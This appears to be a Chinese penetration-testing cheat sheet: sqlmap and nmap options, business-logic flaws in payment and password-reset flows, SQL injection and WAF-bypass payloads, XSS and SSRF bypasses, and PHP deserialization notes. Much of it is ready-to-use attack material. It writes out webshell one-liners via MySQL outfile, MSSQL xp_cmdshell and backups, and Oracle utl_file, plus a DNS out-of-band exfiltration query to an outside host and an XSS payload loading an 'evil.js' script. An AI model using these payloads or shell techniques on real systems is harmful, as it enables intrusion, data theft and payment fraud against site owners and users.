总结
python
练习写工具:端口扫描 目录遍历 文件上传 TCP交互
python常用的库
requests
math
框架 flask django
图形化 wxpython和pyqt
pymysql
os
多线程 thread
time
selenium
工具
sqlmap
爆库 –dbs
爆表 -D “库名” –tables
爆列段 -D “库名” -T ‘“表名” –columns
爆数据 -D “库名” -T ‘“表名” -C 字段名 –dump
--is-dba #测试是否为dba权限
--os-shell #获取shell
--user-agent #指定ua头
sqlmap -u “URL” –data “POST参数” #post提交数据
sqlmap.py -u “URL” –dbs -v 1 #-v 参数包含以下7个等级。
·0:只显示Python的回溯、错误和关键消息;
·1:显示信息和警告信息;
·2:显示调试信息;
·3:有效载荷注入;
·4:显示HTTP请求;
·5:显示HTTP响应头;
·6:显示HTTP响应页面的内容。
sqlmap -r burp.txt –dbs #跑数据包
--cookie=”key=123123” #添加cookie
--safe-url 设置在测试目标地址前访问的安全链接
–tamper #指定绕过过滤脚本
-c 指定配置文件
Namp
TCP SYN扫描
在我们开始之前,我们必须知道SYN数据包是什么?
基本上是一个SYN包被用于启动两个主机之间的连接。
TCP SYN握手连接时,Ping发送一个SYN包到目标系统,并监听响应。这种替代探索方法对被配置为阻止标准ICMP ping消息主机是有用的。
nmap -PS 主机 #该-PS选项进行TCP SYN Ping。
nmap -sS 目标 #它可以在不受防火墙限制的高速网络每秒扫描数千个端口 。同时也是相对不显眼的和隐蔽的,因为它永远不会完成TCP连接。
-sV 探测端口服务版本
- 主机发现
- -sL:列出需要扫描的目标,不扫描
- -sn:只做ping扫描,不做端口扫描
- -Pn:跳过主机发现,视所有主机都在线
- -PS/PA/PU/PY[portlist]:基于TCP(SYN、ACK)、UDP、SCTP的指定端口的主机发现
- -PE/PP/PM:基于ICMP的echo、timestamp、network request的主机发现
- -PO[Protocol list]:基于IP协议字段的ping扫描
- -n/-R: -n表示不对目标最DNS解析,-R表示进行DNS解析,缺省为必要时候进行DNS解析
- --dns-servers <serv1[,serv2],…>: 指定DNS 服务器
- --system-dns:调用系统的DNS服务器
- --traceroute:显示追踪到目标的路径
- 扫描技术
- -sS/sT/sA/sW/sM:TCP扫描
- S是SYN扫描,半连接扫描,nmap只发送SYN报文,通过服务器是否响应SYN+ACK来判断对应端口是否开放
- T是全连接扫描会和服务器建立完整的三次握手,效率低
- A发送ACK报文,通过服务器响应来判断是否开放,有的服务器不开会回复ICMP端口不可达,当回复RST时表示可能被拦截或者端口开放,不是一个准确的判断条件
- W 是窗口扫描,发出的报文和ACK一样,利用的是在某些系统中如果端口开放,收到ACK包后会响应一个窗口非0的RST包
- M是Maimon扫描,使用发现者的名字命名。其原理是向目标服务器发送FIN/ACK 报文,在某些系统中如果端口开放则会丢弃该报文不做响应,如果端口关闭则回复RST或者ICMP,Nmap可借此判断服务器端口的开放情况。不准
- -sU:UDP扫描,某些系统如果UDP端口不开放会回复ICMP差错报文(这也是Linux系统中traceroute的实现原理)。Nmap UDP端口扫描的强大之处在于它会针对知名端口构造初始交互报文,比如会针对UDP 500构造一个主模式协商的IKE报文
- -sN/sF/sX:特定TCP标志位的扫描,N是空标志位;F是FIN置位;X是Xmas扫描将FIN、PSH、URG同时置位。收到RST说明端口关闭,无响应说明被过滤或者端口开放,不准。
- --scanflags :实现上同上面几种类似,可以让用户自定义TCP标志位。
- -sI <zombie host[:probeport]>: Idle扫描需要一台没有流量的僵尸主机,这种扫描的实现原理是在一定的时间里,同一台主机发出的IP数据报文其ip头中的identification字段是累加的。探测分为3步:1、Nmap主机向僵尸机发包,通过僵尸机的响应包探测其ID;2、Nmap主机伪造僵尸机源地址向服务器的特定端口发送SYN包;3、Nmap主机再次探测僵尸机的ip.id。如果目标服务器端口开放,则必然会向僵尸机发送SYN/ACK,由于莫名其妙收到一个SYN/ACK 报文,僵尸机会向目标服务器发送RST报文,该报文的ip.id 是第一步+1,则第三步Nmap主机探测到的ip.id应该是第一步+2,说明目标主机端口开放。反之,如果目标主机端口未开放,则收到第二步的报文后会向僵尸机回复RST或者直接丢弃该报文不响应,无论哪种情况,都不会触发僵尸机发包,进而僵尸机的ip.id不会变化,第三步Nmap探测到的id应该是第一步+1.
- -sY/sZ:SCTP协议INIT或cookie-echo扫描
- -sO:基于IP协议的扫描,通过变换IP报文头中的Protocol值来对服务器进行探测
- -b ::FTP反弹扫描,借助FTP特性,通过FTP服务器连接想要扫描的主机实现隐身的目的
- 端口相关参数
- -p:指定端口扫描范围,如:-p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
- --exclude-ports : 排除端口
- -F:扫描比缺省少的端口(缺省1000,加了-F100)
- -r:顺序扫描端口,缺省是随机分组扫描
- --top-ports :按top排序扫描知名端口
- --port-ratio : 按比例扫描知名端口,值在0-1之间,越小扫的越多
- 系统/版本探测
- -sV:探测开放的端口的系统/服务信息
- --version-intensity :设置版本检测的详程度级别,0-9,越高越详细
- --version-light:输出最可能的版本信息,缺省是2
- --version-all:使用所有的探测条件进行版本/系统探测
- --version-trace:打印详细的版本扫描过程
- 脚本扫描
- --script=:指定脚本名称
- --script-args=<n1=v1,[n2=v2,…]>:为脚本指定参数
- --script-help=: 查看脚本帮助信息
- --script-updatedb:更新脚本数据库
- 系统探测
- -O:激活系统探测
- --osscan-limit:只对开放端口的有效主机进行系统探测
- --osscan-guess:推测系统信息
- 其他
- -T<0-5>:时间模板,越大速度越快
- -6:使能IPV6探测
- -A:使能系统探测、版本检测、脚本扫描、路由追踪
- -V:打印版本号
- -v:增加输出的详细程度
Linux常用命令
#-- 把访问本机 8091 端口的请求转发到 8090端口
$ iptables -t nat -A PREROUTING -p tcp --dport 8091 -j REDIRECT --to-ports 8090
#-- 把访问本机 8093 端口的请求转发到 192.168.1.3 的 8090端口
$ iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 8093 -j DNAT --to 192.168.1.3:8090
常见端口
服务
端口
sqlserver
1433
mysql
3306
oracle
1521
postgreSQL
5432
redis
6379
jboss
8080
FTP
21
ssh
22
telnet
23
smtp
25
dns
53
iis
80
远程桌面
3389
weblogic
7001
逻辑漏洞
业务
登录:
1.短信轰炸/验证码安全问题/密码爆破/邮箱轰炸
2.SQL注入
3.撞库
4.抓包把password字段修改成空值发送
5.认证凭证替换/比如返回的数据包中包含账号,修改账号就能登陆其他账号
6.Cookie仿冒
7.修改返回包的相关数据,可能会登陆到其他的用户
找回密码:
1.短信邮箱轰炸/短信邮箱劫持
2.重置任意用户密码/验证码手机用户未统一验证
3.直接跳过验证步骤
购买支付**/**充值(主要还是利用抓包需要仔细的去看每一个可用参数)
\1. 交易金额/数量修改,替换支付模块 (这里也就是更换了支付的模块金额**)**
\2. 交易信息订单编码/导致信息泄露
\3. 整数溢出,int最大值为2147483647,超过最大值
\4. 修改充值账户
\5. 支付绕过
抽奖活动
\1. 刷奖品/积分
\2. 并发
优惠券**/**代金券
\1. 并发逻辑漏洞(burp或者fd批量获取优惠劵等)
\2. 修改优惠券金额/数量
订单信息
\1. 订单信息遍历/泄露
\2. 订单信息泄露导致用户信息泄露
\3. 删除他人订单
会员系统
\1. 修改个人信息上传文件,上传带弹窗的html
\2. 如遇上上传xlsx/docx,可能存在xxe,上传恶意的文档盲测
\3. 图片上传也可能遇到imagereagick命令执行,上传恶意图片
\4. 视频上传如果使用ffmpeg<3.2.4(视频按帧分割成图片),上传恶意avi盲测ssrf
\5. 用户横向越权访问/遍历/导致用户信息泄露
\6. SQL注入/个人简介处存储XSS 个人信息注册的名称也可以插入xss
传输过程
\1. 明文传输账号密码
\2. 修改信息处无session/token导致csrf
\3. POST/COOKIE注入
评论
\1. POST注入/存储XSS
\2. 无session/token导致CSRF
漏洞处
验证码问题
\1. 万能验证码
\2. 返回包中存在验证码
\3. 删除验证码或者cookie中的值可以爆破账号密码
短信轰炸
\1. 一直重放
\2. 删除修改cookie,重放数据包
\3. 遍历参数发送数据包
\4. 手机号后面加空格或者前面加其他的比如+86或者逗号分号等,然后重发数据包
\5. 请求参数修改大小写,或者添加请求参数比如&id=1
\6. 一个站的登陆处可能做了防护,但是再找回密码处可能没有安全防护,或者在注册流程中没有安全防护,所以说多测试接口
\7. 如果对手机号一天次数进行了限制的话,还可以在进行发送一次短信,DO intercept之后修改为成功回显
水平越权
\1. 主要登陆后还是修改参数,主要找到多个接口不断测试
\2. 关注网页源代码,有时候会有表单,但是被bidden(隐藏标签)给隐藏起来了,可以修改返回包然后尝试获取数据检测
\3. 多个账号,主要分析请求参数
数据泄露
\1. 在找回密码处,填写数据后抓包查看返回信息,有可能存在敏感数据返回
任意用户密码重置
\1. 目前大部分都是在修改密码处参数修改
\2. 有些是前端验证
支付逻辑漏洞
1.边界值问题 : 正常的逻辑是用户购买商品,然后价格累加得到一个总价进行扣款。这个时候就会产生逻辑问题:如果说用户购买的商品是负数了,那么计算的总数就是负数。反过来钱给用户
2.顺序执行缺陷:正常的逻辑是a-b-c-d 循环渐进的进行流程操作。这个时候就会产生逻辑问题:可以直接从中绕过某一个过程进入到下一步操作。如果说有一项是支付的操作,那么也就会产生支付绕过,如果说有一项是验证机制,就会绕过验证直接进入下一步。
3.金额直接传输导致篡改:直接对下单的金额进行修改值,这里可以使用fd或者burp抓包
4.确定支付之后还可以加入购物车:把商品放入购物车点击下单支付,会跳转到微信,支付宝等第三方支付平台。这个时候还可以继续在购物车中加入商品,支付结束之后,商家发放的商品是现在的购物车里面的东西。
5.请求重放:购买成功之后,继续重放请求,可以让购买的商品一直增加。购买成功之后,会有一个银行对商户网站跳转的过程,如果反复进行操作,有几率会导致商品反复购买和增加,但是不需要付更多的钱。
6.请求参数干扰:金钱做了签名认证之后,修改后不通过,但是在里面仍然会有一个参数对金额产生影响导致问题产生。
7.订单替换:订单替换发生在支付之后的事件处理,同时向服务器发起二次支付请求一个多一个少,支付金额少的,然后支付之后进行替换,告知服务器订单支付完成,并且过程可以反复的回放。
8.欺诈:需要两个收款人,一个是正常的商家,一个是伪造的商家
9.单位替换:产生在paypal类似的国际支付的场景。
10.用户替换:在支付过程中发生用户替换现象,首先登陆自己的账户,然后取得另外一个人的账户名等有效信息,在业务流程中用对方的用户名替换自己的用户名,用对方的余额购买完成后,再替换自己的账户名,这样就形成别人的钱买自己的东西
11.强制攻击:强制攻击发生在暴力破解的情况下,如果一个商家运用一个自己的网店,接入第三方支付接口,由于设计上的不当导致商家与第三方支付约定的密钥Key可以单独被MD5加密,导致可以使用MD5碰撞技术对密钥进行破解,攻击者可以设计简单的密钥加密信息使得MD5加密是可以用MD5碰撞技术进行暴力破解。
12.秘钥泄漏:内置支付功能的app为了设计上的方便有可能会把Md5或者是RSA的私钥泄漏导致攻击者反编译apk之后获取密钥信息使得交易信息可以被篡改。
13.函数修改:apk反编译之后的函数修改,可能导致商家在最后一步向支付方提交订单时未验证信息的准确性,仍然被篡改。
14.heart bleed:SSL(安全套接层)协议是使用最为普遍网站加密技术,而OpenSSL则是开源的 SSL 套件,为全球成千上万的web服务器所使用。Web服务器正是通过它来将密钥发送给访客然后在双方的连接之间对信息进行加密。URL中使用 https打头的连接都采用了SSL加密技术。在线购物、网银等活动均采用SSL技术来防止窃密及避免中间人攻击。
该漏洞被归为缓冲过度读取。缓冲过度读取错误是软件可以读取比应该被允许还多的数据。漏洞让特定版本的openSSL成为无需钥匙即可开启的“废锁”,入侵者每次可以翻检户主的64K信息,只要有足够的耐心和时间,就可以翻检足够多的数据,拼凑出户主的银行密码、私信等敏感数据。产生原因:数据在传输的两端是不加密的。一些数据如果在传输过程中不加密则会泄露个人数据等信息。
数据库拿shell
mysql
通过写入webshell
前提条件:1.知道网站物理路径 2.secure_file_priv的值未设置 #可通过showvariables like '%secure%'
查看
select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php';
select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';
用-e参数 mysql -uuser -ppasswd -e “select ‘’ into outfile ‘/var/www/xxx.php’”
利用general_log拿shell
如果导入导出被禁用了就可以用这个方法.前提是root
set global general_log=on;
set global general_log_file='/var/www/xxx.php';
select '<?php eval($_POST[jumbo]) ?>';
sqlserver
如果有sa权限的话可以做任何事情请,有db_owner权限也可以
拿shell的两大前提就是
- 有相应的权限db_owner
- 知道web目录的绝对路径
在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshell xp_dirtree
先来看xp_dirtree
直接举例子
mssql
execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件
我们再来看xp_cmdshell
怎么去找绝对路径,实际上原理就是调用cmd来查找文件,相对来说这种方法更方便。
当然你可能遇到xp_cmdshell不能调用 如果报错
SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。
可以用如下命令恢复
;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;--
当然还不行可能xplog70.dll需要恢复,看具体情况来解决吧
接下来我们先来看cmd中怎么查找文件。
C:\Users\Y4er>for /r e:\ %i in (1*.php) do @echo %i
e:\code\php\1.php
C:\Users\Y4er>
那么我们只需要建立一个表 存在一个char字段就可以了
http://192.168.130.137/1.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
http://192.168.130.137/1.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
然后通过注入去查询该表就可以了。
xp_cmdshell拿shell
xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径
http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;
由于cmd写webshell的主意这些转义的问题 推荐使用certutil或者vbs什么的来下载
差异备份拿shell
1. backup database 库名 to disk = 'c:\bak.bak';--
2. create table [dbo].[test] ([cmd] [image]);
3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--
因为权限的问题,最好不要备份到盘符根目录
当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。
log备份拿shell
LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式
1. alter database 库名 set RECOVERY FULL
2. create table cmd (a image)
3. backup log 库名 to disk = 'c:\xxx' with init
4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
5. backup log 库名 to disk = 'c:\xxx\2.asp'
log备份的好处就是备份出来的webshell的文件大小非常的小
oracle
利用文件访问包写shell
首先创建我们得先建立一个ORACLE的目录对象指向XXXX,这边测试指向的路径为**/home/oracle**
create or replace directory IST0_DIR as '/home/oracle';
如果后面写入失败了可以执行这条命令对这个目录进行授权下
CODE
grant read, write on directory IST0_DIR to system;
然后写入文件
declare
isto_file utl_file.file_type; --定义变量的类型为utl_file.file_type
begin
isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'W'); --指定为IST0_DIR 目录下面的kj021320.jsp文件写操作
utl_file.put_line(isto_file, '这是一个一句话webshell'); --写入字符串
utl_file.fflush(isto_file); --刷缓冲
utl_file.fclose(isto_file); --关闭文件指针
end;
access
access导出一句话拿webshell了
不过需要知道物理路径才能导出,利用IIS的解析漏洞导出EXCEL文件拿到webshell,因为ACCESS数据库不允许导出其他危险格式。
至于怎么拿到物理路径就看你自己发挥了,报错或备份路径等。
逐一执行以下语句就可以导出一句话了
建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
create table cmd (a varchar(50))
在表cmd的a字段插入一句话木马
insert into cmd (a) values ('一句话木马')
把cmd表a的内容导出到路径e:\web\webshellcc\的EXCEL文件
select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;' from cmd
删除建立的cmd表
drop table cmd
Select ‘asp一句话木马’ into [vote] in ‘e:\web\webshellcc\1.asa;x.xls’ ‘excel 8.0;’ from vote
或者
Select ‘php一句话木马’ into outfile ‘F:/wwwroot/chouwazi.com/eval.php’;
后台有执行SQL语句功能(vote为已知表段)
sql注入
分类: 按数据库分 Mysql、MsSQL、Oracle、Access 然后分三大类回显、盲注、带外,回显包括直接回显、报错,盲注包括布尔、延时,带外的话就是mysql的DnsLog注入、MsSQL的跨库查询、Oracle的带外函数 报错 盲注 联合 时间 内联 堆叠 分类:报错注入、盲注、时间盲注、二次注入,宽字节,堆叠注入,http header的注入,xff,cookie注入
判断是哪种数据库
如 http://www.xxx.com/news.php?id=10 这个网址,使用and 1=1,and 1=2 判断是否存在注入
还需要判断数据库类型,在网址后面加上单引号,看报错情况,如果显示Microsoft JET Database错误,则是Access数据库,如果显示ODBC类型,则是MSSQL数据库
另一种方法,如果已经判断该地址存在注入,在后面加上 ;–,例如 http://www.xxx.com/news.php?id=10;–,提交网址如果页面返回正常,则是MSSQL数据库,因为MSSQL数据库中, ;和–都是存在的,;用于分离两个语句,而–用于注释, 可是在ACCESS数据库中,;则被当成参数带入查询,所以会报错。
//SQL Server
select 'a'+'b'='ab'
//MySQL
select 'ab'='a' 'b'
select 'ab'=CONCAT('a','b')
//Oracle
select 'ab'='a''b'
select 'ab'=CONCAT('a','b')
//PostgreSQL
select 'ab'='a''b'
select 'ab'=CONCAT('a','b')
mysql和sqlserver有什么区别
库和表不一样 sqlserver中有master 每个库中有个自带表sysobject
sqlserver中没有limit 有top
Oracle联合注入
https://www.cnblogs.com/peterpan0707007/p/8242119.html
https://blog.csdn.net/qq_35569814/article/details/100517122
all_tables 查询出所有的表
user_tables 查询出当前用户的表
all_tab_columns 查询出所有的字段
user_tab_columns 查询出当前用户的字段
v$version 查版本
1.查询个数
order by 2
2.查询表名格式
union select null,null from dual
union select ‘null’,null from dual
union select ‘null’,’null’ from dual
3.查询获取表名(筛选,搜索)
union select ‘1’,(select table_name from user_tables where rownum=1) from dual
union select ‘1’,(select table_name from user_tables where rownum=1) from dual
union select ‘1’,(select table_name from user_tables where rownum=1 and table_name not in ‘LOGMNR_SESSION_EVOLVE$’) from dual
union select ‘1’,(select table_name from user_tables where rownum=1 and table_name like ‘%user%’) from dual
4.查询获取列名
union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=’sns_users’) from dual
union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=’sns_users’ and column_name not in ‘USER_NAME’) from dual
5.获取指定表名列名数据
union select user_name,user_pwd from “sns_users”
union select user_name,user_pwd from “sns_users” where user_name<>’hu’
union select user_name,user_pwd from “sns_users” where user_name=’mozhe’
时间盲注
有哪些方法
- sleep()函数
- benchmark函数
benchmark
函数会重复计算expr表达式count次,所以我们可以尽可能多的增加计算的次数来增加时间延迟BENCHMARK(count,expr) select * from flag where flag='1' and benchmark(1000000000,sha(1));
- 笛卡尔积盲注 因为后边的数量太大 导致计算count的时候有延时
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
- 正则
DOS
RLIKE注入 延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和我们的benchmark
注入差不多的select * from flag where flag='1' and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);
报错注入
floor updatexml extractvalue join
mysql 5.0以上的版本存在information_schema
uname=dmin’) AND extractvalue(1,concat(0x7e,(select from (select from flag join flag b using(id,no))c),0x7e))– fAZr&passwd=admin&Submit=%E7%99%BB%E5%BD%95
堆叠注入
handler读取数据
;HANDLER ctfshow OPEN;HANDLER ctfshow READ First
;HANDLER ctfshow OPEN;HANDLER ctfshow READ NEXT
预处理读取
‘;prepare a from concat(‘sele’,’ct * from ctfshow_flagasa‘);execute a;#
宽字节注入原理
产生原理 在数据库中使用了宽字符集而WEB中没有考虑这个问题,在WEb层,由于0XBF27是两个字符,在PHP中比如addlsash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0xbf5c是另外一个字符,因此\转义符号会被前边的bf给消掉,单引号由此逃逸用来闭合 解决办法 统一数据库,WEb应用,操作系统所使用的字符集
绕过waf
绕过information过滤
在MySQL 5.5及更高版本中如果information被过滤可以使用mysql.innodb_table_stats 和sys.schema_auto_increment_columns
空格绕过
/*/ /!/ %09 %0a %0b %0c %0d %a0 %00 %23 Tab代替空格 使用单引号代替 eg:(id=1’or’1’=’1’%23) 使用括号代替 eg:(-1’or(id=26)and’a’=’a) 使用浮点数 eg:select from users where id=8E0union select 1,2,3 在表名和数据库名那里可以用反引号 不需要空格
引号绕过
1.宽字节 2.如果是在where类似的后边输入库名字 表名字的 可以使用16进制绕过 eg:(select column_name from information_schema.tables where table_name=0x7573657273)
逗号绕过
使用from for绕过 使用join绕过
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
比较符号绕过
使用greatest()、least():(前者返回最大值,后者返回最小值)
or and xor not绕过
& ^
数字绕过
数字可以通过true+true绕过
1=true 2=true+true 3=true+true+true
=绕过
llike regexp
绕过union,select,where等
大小写,双关键字,内联注释 /!union/
substr过滤
使用一样作用的函数 left right locate
等价函数绕过
hex()、bin(),ord() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者: substr((select ‘password’),1,1) = 0x70 strcmp(left(‘password’,1), 0x69) = 1 strcmp(left(‘password’,1), 0x70) = 0 strcmp(left(‘password’,1), 0x71) = -1
读写文件
读文件
load_file() 1、必须有权限读取并且文件必须完全可读 2、欲读取文件必须在服务器上
3、必须指定文件完整的路径
4、欲读取文件必须小于 max_allowed_packet
?age=-1 union select 1,2,3,4,load_file(‘H:/wamp64/www/233.php’)
-1 union select 1,2,3,4,load_file(0x633a2f626f6f742e696e69)
-1 union select 1,2,3,4,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
load_file还可以发送dns解析请求
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))),1,1)--+
写文件
前提条件
知道网站物理路径
secure_file_priv 无限制
网站路径有写入权限
GPC配置关闭,能使用单引号
函数 into dumpfile() into outfile()
XSS
XSS基本测试流程
HttpOnly 安全性
设置以后客户端脚本就无法通过 document.cookie
等方式获取。 有助于避免 XSS 攻击。
SameSite
可以设置下面三个值:
- Strict 只允许同站请求携带 Cookie。比如
lilnong.top
跳转到www.lilnong.top/cors/
,就属于同站。 - Lax(chrome 80 后的默认值) 允许部分第三方请求场景 携带Cookie。
- None(chrome 80 前的默认值) 无论是否跨站都会发送 Cookie。必须同时加上 Secure 属性,否则无效,也就是说只支持 HTTPS。
IOS 12 的 Safari 以及老版本的一些 Chrome 会把 SameSite=none 识别成 SameSite=Strict,所以服务端必须在下发 Set-Cookie 响应头时进行 User-Agent 检测,对这些浏览器不下发 SameSite=none 属性
绕过
用于绕过某些XSS防护
<img src="jav ascript:alert('XSS');">
也可以对TAB编码
<img src="jav	ascript:alert('XSS');">
利用换行符拆解
<img src="jav
ascript:alert('XSS');">
利用回车拆解
<img src="jav
ascript:alert('XSS');">
② 大小写混淆
示例:
0x02 编码绕过
1)尝试插入比较正常的HTML标签,例如:<b>,<i>,<u>来看一下返回页面的情况是怎样的,是否被HTML编码了,或者标签被过滤了。
2)尝试插入不闭合的标签,例如:<b,<i,<u,<marquee然后看一下返回响应,是否对开放的标签也有过滤。
3)然后测试几个XSS的payload,基本所有的xss过滤器都会进行过滤的:
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm(1);</script>
<scriptsrc="http://rhainfosec.com/evil.js">
看返回响应,是过滤的全部,还是只过滤了部分,是否还留下了alert,prompt,confirm字符,再尝试大小写的组合:
<scRiPt>alert(1);</scrIPt>
4)如果过滤器仅仅是把<script>和</script>标签过滤掉,那么可以用
<scr<script>
JSNOP
Web页面上调用js文件时则不受是否跨域的影响(不仅如此,我们还发现凡是拥有src
这个属性的标签都拥有跨域的能力,比如``
同源策略
说到跨域漏洞,那就先要了解同源策略
同源策略用于限制应用程序之间的资源共享,确保一个应用里的资源只能被本应用的资源所访问,如果要跨域通信。
必须要引入跨域资源共享,如果没有正确配置,就会导致漏洞产生
同源是指协议,域名,端口三个都相同,即使是同一个ip,不同域名也不是同源,同源策略里允许发出请求,但是不允许访问响应
同源示例
设 http://test.com/a/123.html 源
URL
是否同源
不同处
同源
路径不同
http://test.com/abcvb/123.html
同源
路径不同
http://test.com/abc/123458.html
同源
路径不同
不同源
协议不同
http://test.com:88/a/1234.html
不同源
端口不同
http://test.com:82/a/1234.html
不同源
端口不同
http://bbb.test.com/a/1234.html
不同源
域名不同,子域名不算同源
csrf
跨站请求伪造
例如用户a和用户b,用户a将一个删除文章的恶意链接发送给用户b,如果用户b登录过这个网站,浏览器存储有这个网站的cookie且未过期,点击这个恶意链接之后就会执行删除文章的操作
SSRF
SSRF 在 PHP 中由 curl()、file_get_contents()、fsockopen()
函数产生
服务端请求伪造
(1)、可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息;
(2)、攻击运行在内网或本地的应用程序(比如溢出);
(3)、对内网 Web 应用进行指纹识别,通过访问默认文件实现;
(4)、攻击内外网的 Web 应用,主要是使用 Get 参数就可以实现的攻击(比如 Struts2 漏洞利用,SQL 注入、DDOS 等);
(5)、利用 File 协议读取本地文件。
- SFTP
- FTP
- Dict
- gopher
- TFTP
- file
- ldap
绕过ip限制
各种IP地址的进制转换
例如:192.168.0.1
(1)、8进制格式:0300.0250.0.1
(2)、16进制格式:0xC0.0xA8.0.1
(3)、10进制整数格式:3232235521
(4)、16进制整数格式:0xC0A80001
(5)、特殊写法(0可省略,在linux中127.0.0.1可以写成0.0.0.0)
http://0/
http://127.1/
利用ipv6绕过,http://[::1]/
http://127.0.0.1./
RCE
$this->$name = $item;可以造成任意变量覆盖
PHP反序列化
魔术方法以及特点
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
1、__get、__set
这两个方法是为在类和他们的父类中没有声明的属性而设计的
__get( $property ) 当调用一个未定义的属性时访问此方法
__set( $property, $value ) 给一个未定义的属性赋值时调用
这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)
2、__isset、__unset
__isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法
__unset( $property ) 当在一个未定义的属性上调用unset()函数时调用此方法
与__get方法和__set方法相同,这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)
3、__call
__call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法
4、__autoload
__autoload 函数,使用尚未被定义的类时自动调用。通过此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。
注意: 在 __autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。
5、__construct、__destruct
__construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称
__destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法
默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用.,在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset。
6、__clone
PHP5中的对象赋值是使用的引用赋值,使用clone方法复制一个对象时,对象会自动调用__clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在__clone方法实现。
7、__toString
__toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,如果类没有实现此方法,则无法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。
在PHP 5.2.0之前,__toString方法只有结合使用echo() 或 print()时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但 不能用于非字符串环境(如使用%d修饰符)。从PHP 5.2.0,如果将一个未定义__toString方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR错误。
8、__sleep、__wakeup
__sleep 串行化的时候用
